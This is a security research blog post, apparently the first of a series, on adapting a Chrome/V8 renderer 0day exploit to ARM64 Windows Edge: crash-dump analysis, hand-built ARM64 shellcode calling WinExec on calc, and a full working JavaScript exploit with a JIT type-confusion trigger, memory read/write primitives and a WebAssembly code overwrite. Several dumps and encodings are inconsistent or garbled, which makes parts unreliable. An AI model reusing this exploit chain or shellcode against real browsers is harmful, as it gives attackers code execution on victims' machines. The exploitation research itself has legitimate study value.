Creating aarch64 (ARM64) Windows Shellcode: Part 1 - no ASLR

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Overview

Given a recent Chrome 0day exploit, it may be worthwhile investigating if it might be exploitable on the ARM64 architecture.

Reproducing the crash

The first thing to check out is just opening the HTML file as-is on an ARM64 Windows VM. I'm using an M1 Mac Mini with Parallels for my investigation.

Well this is promising! It sure seems like it's attempting to run code that it doesn't understand. Which is predictable as ARM definitely shouldn't grok x86 or x86_64. Let's look at the beginning of our PoC exploit file:
Could it really be as easy as plopping in our own ARM shellcode to replace the original shellcode? Let’s find out...

**Investigating crash details**

**Attaching a debugger**

Chrome-based browsers are tricky to attach a debugger to. When you open up a new tab, it spawns a new process to do the work of rendering the page. If you run windbg.exe with the -o option, it should debug child processes.

```
windbg [-o] ProgramName [Arguments]
```

The -o option causes the debugger to attach to child processes. There are several other useful command-line options. For more information about the command-line syntax, see WinDbg Command-Line Options.

However, in my testing, I couldn’t get a working Edge process with windbg-attached processes. I could press g a couple times to continue the presumed child processes, but eventually I’d get to the state where nothing was running, according to windbg:

```
ntdll!NtTerminateProcess+0x4:
00007ffa`7d23f634 d65f03c0 ret
0:000> g
ModLoad: 00007ffa`77460000 00007ffa`774b0000 C:\WINDOWS\SYSTEM32\kernel.appcore.dll
ntdll!NtTerminateProcess+0x4:
00007ffa`7d23f634 d65f03c0 ret
1:003> g
^ No runnable debuggee error in 'g'
```

Similarly, if Edge is run with the --single-process option, it does end up spawning chrome, but it crashes immediately upon attempting to do anything. It is reported that --single-process isn’t supported, so perhaps this isn’t a surprise?

**Looking at DMP files**

Luckily, Edge will automatically create DMP files in the C:\Users\test\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports directory if crashes are encountered. As long as Windbg is configured to register itself with DMP files (run windbg -IA to configure this), you can just double click on any DMP file to open the crash details.
<table>
<thead>
<tr>
<th>Child-SP</th>
<th>RetAddr</th>
<th>Call Site</th>
</tr>
</thead>
<tbody>
<tr>
<td>00</td>
<td>0000006e`605fc50</td>
<td>00007ff`7346d6d4 ntdll!NtDelayExecution+0x4</td>
</tr>
<tr>
<td>01</td>
<td>0000006e`605fc50</td>
<td>00007ff`6f0e2ea8 ntdll!RtlDelayExecution+0x104</td>
</tr>
<tr>
<td>02</td>
<td>0000006e`605fc90</td>
<td>00007ff`6f0e2ea8 KERNELBASE!SleepEx+0x88</td>
</tr>
<tr>
<td>03</td>
<td>0000006e`605fd10</td>
<td>00007ff`6f0e2ea8 KERNELBASE!SleepEx+0x88</td>
</tr>
<tr>
<td>04</td>
<td>0000006e`605fd20</td>
<td>00007ff`6f0e2ea8 KERNELBASE!SleepEx+0x88</td>
</tr>
<tr>
<td>05</td>
<td>0000006e`605fd2d0</td>
<td>00007ff`6f0e2ea8 KERNELBASE!SleepEx+0x88</td>
</tr>
<tr>
<td>06</td>
<td>0000006e`605fd30</td>
<td>00007ff`6f0e2ea8 KERNELBASE!SleepEx+0x88</td>
</tr>
<tr>
<td>07</td>
<td>0000006e`605ffe80</td>
<td>00000000`00000000 KERNELBASE!SleepEx+0x88</td>
</tr>
</tbody>
</table>

0:000> r

<table>
<thead>
<tr>
<th>x0=0000000000000000</th>
<th>x1=00000006e05fcfa8</th>
<th>x2=0000000000000000</th>
<th>x3=0000000000000000</th>
</tr>
</thead>
<tbody>
<tr>
<td>x4=0000000000000000</td>
<td>x5=0000000000000000</td>
<td>x6=0000000000000000</td>
<td>x7=0000000000000000</td>
</tr>
<tr>
<td>x8=0000000000000000</td>
<td>x9=0000000000000000</td>
<td>x10=0000000000000000</td>
<td>x11=000001f07d00cfea</td>
</tr>
<tr>
<td>x12=0000000000000000</td>
<td>x13=0000000000000000</td>
<td>x14=0000000000000000</td>
<td>x15=0007fffc74961f0</td>
</tr>
<tr>
<td>x16=0000000000000000</td>
<td>x17=0000000000000000</td>
<td>x18=0000006e5f6d0000</td>
<td>x19=00000000000ea60</td>
</tr>
<tr>
<td>x20=0000000000000000</td>
<td>x21=00000006e05fcfa8</td>
<td>x22=0000000000000000</td>
<td>x23=0007fffc6f55b000</td>
</tr>
<tr>
<td>x24=0000000000000000</td>
<td>x25=0000007fffc6f55b000</td>
<td>x26=0000006e605fd190</td>
<td>x27=00000000000000001</td>
</tr>
<tr>
<td>x28=0000000000000000</td>
<td>fp=00000006e05fcf50</td>
<td>lr=000007fffc7346d6d4</td>
<td>sp=00000006e05fcf50</td>
</tr>
</tbody>
</table>

pc=0000000000000000

By default, this is not the state of the machine at the crash! It's after the crash handler and minidump stuff has taken place. But we can simply click on !analyze -v to get the state of the actual crash.

0:000> !analyze -v

*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

KEY_VALUES_STRING: 1

Key: Analysis.CPU.Sec
Value: 3

Key: Analysis.DebugAnalysisProvider.CPP
Value: Create: 8007007e on TESTUSER5E85

Key: Analysis.DebugData
Value: CreateObject

Key: Analysis.DebugModel
Value: CreateObject

Key: Analysis.Elapsed.Sec
Value: 27

Key: Analysis.Memory.CommitPeak.Mb
Value: 253

Key: Analysis.System
Value: CreateObject

Key: Timeline.Process.Start.DeltaSec
Value: 2

NTGLOBALFLAG: 0

PROCESS_BAM_CURRENT_THROTTLED: 0

PROCESS_BAM_PREVIOUS_THROTTLED: 0

APPLICATION_VERIFIER_FLAGS: 0
CONTEXT: (.ecxr)

x0=0000000000000000 e48348fc ???
Reseting default scope

EXCEPTION_RECORD: (.exr -1)
ExceptionAddress: 000072fea0b01000
ExceptionCode: c000001d (Illegal instruction)
ExceptionFlags: 00000000
NumberParameters: 0

PROCESS_NAME: msedge.exe

ERROR_CODE: (NTSTATUS) 0xc000001d - {EXCEPTION} Illegal Instruction An attempt was made to execute an illegal instruction.

EXCEPTION_CODE_STR: c000001d

FAULTING_THREAD: ffffffff
The fault address is not in any loaded module, please check your build's rebase log at <releasedir>/bin/build_logs/timebuild
trebase.log for module which may contain the address if it were loaded.

STACK_TEXT:
000000fd`705fde30 000072fe`a0b01000 unknown!unknown+0x0
000000fd`705fde60 000077fa`3842c70 msedge!ChromeMain+0x2125e00
000000fd`705fdd20 000077fa`38404e8 msedge!ChromeMain+0x2123678
000000fd`705fdd50 000077fa`3840168 msedge!ChromeMain+0x21232f8
000000fd`705fe030 000077fa`230ca004 msedge!ChromeMain+0x19ad194
000000fd`705fefe0 000077fa`230c9504 msedge!ChromeMain+0x19ac694
000000fd`705fefe80 000077fa`22f0350 msedge!ChromeMain+0x18a34e0
000000fd`705fefe30 000077fa`2533d870 msedge!argon2_encodedlen+0x215850
000000fd`705fexc0 000077fa`2533a328 msedge!argon2_encodedlen+0x212308
000000fd`705f7e50 000077fa`25338acc msedge!argon2_encodedlen+0x210aac
000000fd`705f8e7a0 000077fa`279c2830 msedge!argon2_encodedlen+0x289a810
000000fd`705f8e60 000077fa`27222de8 msedge!argon2_encodedlen+0x20fadc8
000000fd`705fbeb0 000077fa`27230cb4 msedge!argon2_encodedlen+0x2108c94
000000fd`705fde00 000077fa`262b2bc4 msedge!argon2_encodedlen+0x1193c94
000000fd`705fde40 000077fa`262bb9bc msedge!argon2_encodedlen+0x119399c
000000fd`705fdee0 000077fa`262bb04c msedge!argon2_encodedlen+0x119302c
000000fd`705fe0e0 000077fa`23a3effc msedge!ChromeMain+0x232218c
000000fd`705fefe20 000077fa`23ab7e78 msedge!ChromeMain+0x279a008
000000fd`705fe010 000077fa`2497754c msedge!ChromeMain+0x325a5ec
000000fd`705f190 000077fa`249e717c msedge!ChromeMain+0x324a30c
000000fd`705f0f10 000077fa`24977e9c msedge!ChromeMain+0x325bb2c
000000fd`705f240 000077fa`23ea2710 msedge!ChromeMain+0x27858a0
000000fd`705f330 000077fa`2485964 msedge!ChromeMain+0x31a8af4
000000fd`705f470 000077fa`23de464 msedge!ChromeMain+0x26e17d4
000000fd`705f4f0 000077fa`23df700 msedge!ChromeMain+0x26e0890
000000fd`705f6d0 000077fa`2171df04 msedge!ChromeMain+0x284
000000fd`705f7d0 000077fa`7d64e9e8 msedge_exe!Ordinal10+0x9e48
000000fd`705f9e0 000077fa`7d6494ec msedge_exe!Ordinal10+0x94ec
000000fd`705fd50 000077fa`7d9d240 msedge_exe!GetHandleVerifier+0xd3f44
000000fd`705fd90 000077fa`7d9d240 msedge_exe!GetHandleVerifier+0xd3f40
000000fd`705fa00 000077fa`7b47d130 kernel32!BaseThreadInitThunk+0x30
000000fd`705fa00 000077fa`7d2c7d18 ntdll!RtlUserThreadStart+0x48
000000fd`705fa00 000077fa`7d2c7d18 ntidl!RtlUserThreadStart+0x48

STACK_COMMAND: .ecxr ; kb ; ** Pseudo Context ** Pseudo ** Value: 25ac68dd040 ** ; kb
With this information, we can disassemble the instructions at the PC register (View Disassembly Paste in 000072fe'a0b01000 (the value of PC)):

No prior disassembly possible
000072fe'a0b01000 e48348fc ???
000072fe'a0b01004 00c0e8f0 ???
000072fe'a0b01008 51410000 sub w0,w0,#0x40,lsl #0xC
000072fe'a0b0100c 51525041 sub w1,w2,#0x494,lsl #0xC
000072fe'a0b01010 d2314856 eor x22,x2,#-0x7FFC0007FFD
000072fe'a0b01014 528b4865 mov w5,#0x5A43
000072fe'a0b01018 528b4860 mov w0,#0x5A43
000072fe'a0b0101c 528b4818 mov w24,#0x5A40
000072fe'a0b01020 728b4820 movk w0,#0x5A41
000072fe'a0b01024 b70f4850 tbnz xip0,#0x21,000072fe'a0aff92c
000072fe'a0b01028 314d4a4a addx w10,wxr,#0x352,ls1 #0xC
000072fe'a0b0102c c03148c9 ???
000072fe'a0b01030 7c613cac ???

Our first 4 bytes of our shellcode are 0xFC, 0x48, 0x83, 0xE4, so the fact that Edge is attempting to execute the bytes e48348fc is a good sign! (keep in mind that aarch64 Windows is little-endian, so reverse your byte ordering)

**Testing our ARM64 shellcode**

We've confirmed above that ARM64 Edge is attempting to execute the bytes that we provide. How about doing something useful?

**An infinite loop**

It's not terribly useful, but let's warm up with some pieces of code that are obviously executing. Which may end up being useful in our investigation. [https://disasm.pro/](https://disasm.pro/) can be useful if you know what instructions you want to use, and want the bytes to represent it. Or vice-versa.

The simplest infinite loop is the following instruction:

b #0

Which will jump to PC + 0 bytes offset. Using disasm.pro, we see that it is encoded as 00 00 00 17

Let's update our PoC:
let shellcode = [
  // Infinite loop
  // b #0
  0x00, 0x00, 0x00, 0x14
];

Now we can open our PoC file:

Success!

A crash

Given that we can't attach to Edge before it reaches the crash. And even if we could, ARM64 Windows doesn't technically support the M1 chip, so we can't viably trace through functions. Our analysis is limited to viewing a DMP file after the fact. If we can trigger a crash in an arbitrary point of our shellcode, we can get a static snapshot into what the computer was doing at this point.

The simplest way to crash is to dereference an invalid memory address. Let's look again at our crash details:

```
CONTEXT: (.ecxr)
x0=0000000000000000   x1=000072fea0b01000   x2=000072fea0b01000   x3=00000e90080423b1
x4=0000000000000000   x5=000000000000042c   x6=00000e900827b4b7   x7=00000e9008042429
x8=0000000000000000   x9=00000e90080450bd  x10=0000000000000000  x11=0000000000000004
x12=0000000000000000  x13=00000e90080423b1 x14=0000000000000000  x15=0000000000000004
x16=0000000000000000  x17=00000e90000c4040 x18=0000000000000000  x19=0000000000000000
x20=00000e900827ab81  x21=00002908001e9a10 x22=0000000000000006  x23=0000000000000000
x24=00000000beeddead x25=00000000beeddead x26=00000e90000c407c  x27=00000e900824425d
x28=00000000beeddead fp=0000000fd705fde50  lr=00000e90000c407c  sp=0000000fd705fde30
pc=000000000b001000   psw=40000000  -Z-- EL0
```

We want a register that we're not using, and points somewhere invalid. x10 fits this bill (as do quite a few others). We're also not using x11 so the following instruction will trigger a crash:

```
ldr x11, [x10]
```

This will dereference the x10 register and place the value in x11. Since x10 is 0x386 this will crash. Let's test it out
let shellcode = [
  // Trigger crash
  // ldr x11, [x10]
  0x4b, 0x01, 0x40, 0xf9
];

In the browser:

Good! Now in the DMP file:

```
CONTEXT: (.ecxr)
  x0=0000000000000000   x1=00007355c74f1000   x2=00007355c74f1000   x3=00007209080423b1
  x4=0000000000000000   x5=000000000000042c   x6=000072090827b067   x7=000072090827a645
  x8=000000000824425d   x9=00007209080450bd   x10=0000000000000386   x11=0000000000000004
  x12=00000000080423b1   x13=0000720908042429   x14=0000000000000007ff   x15=0000000008279e39
  x16=000000000000000d7   x17=000072090000c4040   x18=0000000000000000   x19=0000000000000386
  x20=000072090827a731   x21=0000002ac001e9a10   x22=0000000000000006   x23=0000000000000025
  x24=000000000beeddead   x25=000000000beeddead   x26=0000720900000000   x27=000072090824425d
  x28=000000000beeddead   fp=000000762bdfd970   lr=000072090000c407c   sp=000000762bdfd950
  pc=00007355c74f1000   psr=40000000 -Z-- EL0
  00007355`c74f1000 f940014b ldr    x11,[x10]
```

Success! This is a useful primitive to have. If our shellcode isn’t working, we can place the crashing instruction wherever we like, and we can inspect the register values, stack, or other memory states.

**Doing something useful with our shellcode**

Simple shellcode in Windows often calls **WinExec()**. It takes two arguments:

1. LPSTR lpCmdLine
2. UINT uCmdShow
Our simple "pop" calc shellcode will just use `calc` for the first argument, and `1` as the second (for a normal window).

**aarch64 calling convention**

If we look at old example shellcode for popping calc, we can see that this particular example:

1. push 0
2. push "calc"
3. push pointer to "calc"
4. Call hard-coded address of WinExec()

From this, we can see that arguments to function calls on x86 are stack-based. Argument 0 is what you'd like to run (calc), and argument 1 is the window property (0).

We can use this structure as our starting point for our shellcode, but it's important to realize that the aarch64 calling convention is register based. That is, arguments are passed in X0, X1, X2, etc...

**Where to put our string**

While we aren't passing our "calc" on the stack, it seemed reasonable to use the stack as a destination for where our stack lives. ARM doesn't have PUSH and POP, so you'll have to implement your own equivalent.

The problem with using the stack is that the stack pointer needs to be 16-byte aligned at all times. Otherwise, the app will crash. As outlined in the above article, a workaround for this is to use a register other than `SP`, which allows you to have whatever alignment that you like. Just to keep things simple, let's go down this path:

**Setting up our "shadow" stack**

Let's copy `SP` to another register to use: `X9`

```
poc.html

let shellcode = [

    // Move SP into X9
    // mov x9, sp
    0xe9, 0x03, 0x00, 0x91,

    // Trigger crash
    // ldr x11, [x10]
    0x4b, 0x01, 0x40, 0xf9
];
```

Let's look at our self-triggered crash dump now:

```
CONTEXT: (.ecxr)
    x0=0000000000000000  x1=0000280d4d261000  x2=0000280d4d261000  x3=00003563080423b1
    x4=0000000000000000  x5=000000000000042c  x6=000035630827b077  x7=000000000827a5f5
    x8=0000000000000025  x9=0000000000000025  x10=0000000000000025  x11=0000000000000004
    x12=0000000000000000  x13=0000000000000000  x14=0000000000000000  x15=0000000000000000
    x16=0000000000000000  x17=0000000000000000  x18=0000000000000000  x19=0000000000000000
    x20=0000000000000000  x21=0000000000000000  x22=0000000000000000  x23=0000000000000000
    x24=0000000000000000  x25=0000000000000000  x26=0000000000000000  x27=0000000000000000
    x28=0000000000000000  x29=0000000000000000  x30=0000000000000000  x31=0000000000000000
    pc=0000280d4d261000  sp=0000000000000000  lr=0000356362d01000  x10=00003563080423b1
0000280d `4d261004 f940014b ldr         x11, [x10]
```

Here we can see that both `X9` and `SP` both point to `000000a267bf60c0`. So our shellcode instruction worked! If we keep that crashing instruction at the end of our shellcode, we can check each addition to our shellcode to confirm that it is doing what we expect it to do.

**Getting pointer to "calc.exe:0"**
let shellcode = [

    // Put CALC.EXE in x0
    // AC
    // movz x0, #0x4143
    0x60, 0x28, 0x88, 0xD2,

    // CL
    // movk x0, #0x434c, lsl #16
    0x80, 0x69, 0xA8, 0xF2,

    // E.
    // movk x0, #0x452e, lsl #32
    0xc0, 0xa5, 0xC8, 0xF2,

    // EX
    // movk x0, #0x4558, lsl #48
    0x00, 0xab, 0xE8, 0xF2,

    // put x0 on x9-stack
    // str, x0, [x9], #8
    0x20, 0x85, 0x00, 0xF8,

    // Put null into x0
    // movz, x0, #0
    0x00, 0x00, 0x80, 0xD2,

    // put x0 on x9-stack
    // str x0, [x9], #8
    0x20, 0x85, 0x00, 0xF8,

    // put x9 into x0 - comment out to crash on winexec
    // mov x0, x9
    0xe0, 0x03, 0x09, 0xaa,

    // Subtract 16 from x0   (look at crash)
    // sub, x0, 0x, #0x10
    0x00, 0x40, 0x00, 0xd1,

    // Trigger crash
    // ldr x11, [x10]
    0x4b, 0x01, 0x40, 0xf9
];

Here we have four main operations:

1. Put "calc.exe" on our "stack"
2. Put a null on our "stack"
3. Copy pointer to fake stack (X9) to X0
4. Subtract 16 from our pointer so that we point to the beginning of "calc.exe"

**Put 1 into X1**

Our second argument to WinExec() should simply be 1 to get a normal window for calc.exe.
that's it. no fancy stack or fake-stack operations. just move the number 1 into x1.

get pointer to winexec()

just to start simple, we'll use a static address for winexec(). this isn't viable in the real world due to aslr, but we can cheat to start out. attach to a msedge.exe process and ask windbg where winexec() lives. it'll be valid until windows reboots.

```
0:016:chpe> u kernel32!winexec
KERNEL32!WinExec:
6fde9ff0 a9bd7bfd stp fp,lr,[sp,#-0x30]!
6fde9ff4 a90153f3 stp x19,x20,[sp,#0x10]
6fde9ff8 f90013f5 str x21,[sp,#0x20]
6fde9fffc 910003fd mov fp,sp
6fdea000 94008328 bl 6fe0aca0
6fdea004 d10343ff sub sp,sp,#0x00
6fdea008 aa0003f5 mov x21,x0
6fdea00c 2a0103f3 mov w19,w1
```

here we can see that winexec() lives at 6fde9ff0. but wait! that's just a 32-bit address! i don't believe it, so let's try windbg preview to get a second opinion:

```
0:012> u kernel32!winexec
KERNEL32!WinExec:
00007ffc`6fde9ff0 fd std
00007ffc`6fde9ff1 7bbd jnp KERNEL32!LoadModule$filt$1 (00007ffc`6fde9fb0)
00007ffc`6fde9ff3 a9f35301a9 test eax,0a90153f3h
00007ffc`6fde9ff5 cmc
00007ffc`6fde9ff9 1300 adc eax,dword ptr [rax]
00007ffc`6fde9ff9 1300 adc eax,dword ptr [rax]
00007ffc`6fde9ff9 1300 adc eax,dword ptr [rax]
00007ffc`6fde9fff 0300 add eax,dword ptr [rax]
```

well that's better! i can see that winexec() actually lives at 00007ffe`6fde9ff0. but wait! windbg preview is disassembling the arm64 instructions as if they were x86_64! i get the impression that arm64 windows is very much so a work in progress...

but we at least have the address of what we want to call:

```
let shellcode = [
  ...
  // put 0x1 in x1
  // movz x1, #0x01
  0x21, 0x00, 0x80, 0xd2,
  // trigger crash
  // ldr x11, [x10]
  0x4b, 0x01, 0x40, 0xf9
];
```
Here we are constructing the address of two bytes at a time, remembering that we're on a little-endian system. That is, start at the end of the address and work your way to the beginning.

1. MOVZ 0x9FF0 into X8
   X8: 00000000 00009FF0
2. Shift left 16 bits and move (keep) 0x6FDE into X8
   X8: 00000000 6FDE9FF0
3. Shift left 32 bits and move (keep) 0x7FFC into X8
   X8: 00007FFC 6FDE9FF0

At this point we're done. Originally moved zeros into the leading 2 bytes of the register, but then discovered that that's redundant as the first MOVZ instruction zeroed out the rest of the register.

**Calling our function and then hanging.**

At this point we're done. Originally moved zeros into the leading 2 bytes of the register, but then discovered that that's redundant as the first MOVZ instruction zeroed out the rest of the register.

**Putting it all together:**

```html
<script>
    function gc() {
        for (var i = 0; i < 0x80000; ++i) {
            var a = new ArrayBuffer();
        }
    }

    let shellcode = [
        ...,
        // jalr x8
        0x00, 0x01, 0x3F, 0xD6,
        // Infinite loop
        0x00, 0x00, 0x00, 0x14
    ];
</script>
```
// move sp into x9
// Indexing into SP can be tricky due to alignment requirements
// mov, x9, sp
  0xe9, 0x03, 0x00, 0x91,

// Put CALC.EXE in x0
// AC
// movz x0, #0x4143
  0x60, 0x28, 0x88, 0xD2,
// CL
// movk x0, #0x434c
  0x80, 0x69, 0xA8, 0xF2,
// E.
// movk x0, #452e
  0xc0, 0xa5, 0xC8, 0xF2,
// EX
// movk x0, #4558
  0x00, 0xab, 0xE8, 0xF2,

// put x0 on x9-stack
// str, x0, [x9], #8
  0x20, 0x85, 0x00, 0xF8,

// Put null into x0
// movz, x0, #0
  0x00, 0x00, 0x80, 0xD2,

// put x9 into x0 - comment out to crash on winexec
// mov x0, x9
  0xe0, 0x03, 0x09, 0xaa,

// Subtract 16 from x0   (look at crash)
// sub, x0, 0x, #0x10
  0x00, 0x40, 0x00, 0xd1,

// put 0x1 in x1
// movz x1, #0x01
  0x21, 0x00, 0x80, 0xd2,

// Load address of WinExec() (static) into j8
// TODO: Mark universal
// movz x8, #0x9ffe0
  0x08, 0xFE, 0x93, 0xD2,
// movk x8, #0x6fde, lsl #16
  0xC8, 0xFB, 0xAD, 0xF2,
// movk x8, #0x7ffc, lsl #32
  0x88, 0xFF, 0xCF, 0xF2,
// movk x8, #0, lsl #48
// This is redundant due to the original MOVZ
// 0x08, 0x00, 0x0E0, 0xF2,
// jalr x8
  0x00, 0x01, 0x3F, 0xD6,

// Infinite loop
  0x00, 0x00, 0x00, 0x14
];

var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var main = wasmInstance.exports.main;
```javascript
var bf = new ArrayBuffer(8);
var bfView = new DataView(bf);

function fLow(f) {
  bfView.setFloat64(0, f, true);
  return (bfView.getUint32(0, true));
}

function fHi(f) {
  bfView.setFloat64(0, f, true);
  return (bfView.getUint32(4, true));
}

function i2f(low, hi) {
  bfView.setUint32(0, low, true);
  bfView.setUint32(4, hi, true);
  return bfView.getFloat64(0, true);
}

function f2big(f) {
  bfView.setFloat64(0, f, true);
  return bfView.getBigUint64(0, true);
}

function big2f(b) {
  bfView.setBigUint64(0, b, true);
  return bfView.getFloat64(0, true);
}

class LeakArrayBuffer extends ArrayBuffer {
  constructor(size) {
    super(size);
    this.slot = 0xb33f;
  }
}

function foo(a) {
  let x = -1;
  if (a) x = 0xFFFFFFFF;
  var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
  arr.shift();
  let local_arr = Array(2);
  local_arr[0] = 5.1;//4014666666666666
  let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
  arr[0] = 0x1122;
  return [arr, local_arr, buff];
}

for (var i = 0; i < 0x10000; ++i)
  foo(false);

[corrput_arr, rwarr, corrupt_buff] = foo(true);
corrput_arr[12] = 0x22444;
delete corrput_arr;

function setbackingStore(hi, low) {
  rwarr[4] = i2f(fLow(rwarr[4]), hi);
  rwarr[5] = i2f(low, fHi(rwarr[5]));
}

function leakObjLow(o) {
  corrupt_buff.slot = o;
  return (fLow(rwarr[9]) - 1);
}

let corrupt_view = new DataView(corrupt_buff);
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
let idx0Addr = corrupt_buffer_ptr_low - 0x10;
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
let delta = baseAddr + 0x1c - idx0Addr;
if (delta % 8 == 0) {
  let baseIdx = delta / 8;
  this.base = fLow(rwarr[baseIdx]);
} else {
  let baseIdx = ((delta - (delta % 8)) / 8);
  this.base = fHi(rwarr[baseIdx]);
}

let wasmInsAddr = leakObjLow(wasmInstance);
setbackingStore(wasmInsAddr, this.base);
let code_entry = corrupt_view.getFloat64(13 * 8, true);
setbackingStore(fLow(code_entry), fHi(code_entry));
```
for (let i = 0; i < shellcode.length; i++) {
    corrupt_view.setUint8(i, shellcode[i]);
}
main();
</script>

And in action on an ARM64 Windows system:

Adding ASLR support

In Part 2 of this exercise, we determine where WinExec() actually lives dynamically in the shellcode, so that it works on all ARM64 Windows versions, rather than just one example boot of my one VM (Windows re-shuffles ASLR at boot time, as opposed to execution time as it does on Linux).